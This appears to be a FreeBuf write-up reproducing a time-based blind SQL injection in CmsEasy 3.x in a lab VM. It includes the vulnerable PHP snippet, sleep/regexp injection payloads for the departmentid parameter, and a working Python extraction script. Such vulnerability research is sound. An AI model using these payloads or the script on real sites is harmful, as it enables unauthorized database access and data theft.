freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
FreeBuf+小程序

FreeBuf+小程序

官方公众号企业安全新浪微博

国内领先的互联网安全新媒体,同时也是爱好者们交流与分享安全技术的社区

漏洞| 易通SQL时间盲注复现
2017-11-13 16:41:01

易通CMS是一个企业网站建站系统,本期带来其3.X.X版本中,前台SQL注入和后台文件上传的漏洞复现过程。


基础环境:

1. 虚拟机win2003搭建phpstudy作为web环境,IP为192.168.159.185。

2. CmsEasy V3.X.X 源码一份。


源码部署过程:

1. web环境的选择使用PHP 5.2.17+apache的环境。

2. 将易通CMS部署到网站根目录上 

下载地址:http://pan.baidu.com/s/1dET5uY9 密码:shxn 

解压完成后,将源代码直接放置win2003 的phpstudy的WWW根目录上。

002.png

 

3. 访问网站IP,进行搭建。

搭建.png

 

4. 根据提示,依次填写数据库帐号密码,数据库名,网站管理员帐号密码等。

04.png

 

5. 安装成功,会跳转到后台登录页面。

页面.png

 

漏洞复现过程:

1. SQL注入点位置:http://IP:/celive/js/include.php?cmseasylive=1111&departmentid=0

2. 下面是include.php的部分代码

    if (isset($_GET['departmentid'])) {

        $departmentid = $_GET['departmentid'];

        $activity_sql = "SELECT `id` FROM `".$config['prefix']."activity` WHERE  `departmentid`='".$departmentid."' AND `operatorid`='".$operatorid."'";        

        $onlinelink2 = '</a></li>';

        @$result2 = $db->my_fetch_array($activity_sql);

分析代码,可以输入到参数departmentid的值会传递到$activity_sql去查询,此处没有做过滤,但也没有回显查询结果和爆错语句,因此可以尝试使用字符型的时间盲注。

3. 基本payload 

include.php?cmseasylive=1111&departmentid=0' and sleep(5) AND '1'='1 

include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"


4. 写个python脚本来跑时间盲注

#-*-coding:utf-8-*-

import requests,string,time

url="http://127.0.0.1/cmseasy/uploads/celive/js/include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"

payloads=string.letters+string.digits+"_-:@.,"

def cmseasysql(sqli):       #sqli为你输入的sql语句,如select database()

    temp=''

    for j in range(100):

        l1=len(temp)

        for payload in payloads:

            payloadtmp=payload

            payload=temp+payload

            uri=url%(sqli,payload)

            #print uri

            startTime=time.time()           #请求前记录初始时间

            response=requests.get(uri)

            if (time.time()-startTime)>5:   #请求后时间差是否大于5

                temp+=payloadtmp

                print 'Get_Data:'+temp #方便查看结果,可注释

                break

        l2=len(temp)

        if l1==l2:   #此处是优化速度,跑到数据就不再循环,判断依据是长度

            break

    print temp

def runsqli():  #while循环:可以一直查询SQL语句

    while(1):

        sqli=raw_input("Input you sqli: ")

        cmseasysql(sqli)

if __name__ == '__main__':

    runsqli()


运行效果:

效果.png

 

 输入的语句,可以是select database(),select user(),select tables from information_schema...

5. 爆绝对路径漏洞

漏洞.png

 

小结:

本次漏洞复现主要是斗哥用来练手sql时间盲注和脚本的编写了,注入语句用的是正则+if函数来进行的,大家有什么更好的姿势也可以提出来交流交流,cmseasy原本有上传漏洞的,不过此次的版本对这个漏洞做了修改,没能复现出来。大家可以回去试试看哪个版本。

640.webp.jpg

本文作者:, 转载请注明来自FreeBuf.COM

# 漏洞复现 # 时间盲注
被以下专栏收录,发现更多精彩内容
+ 收入我的专栏
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦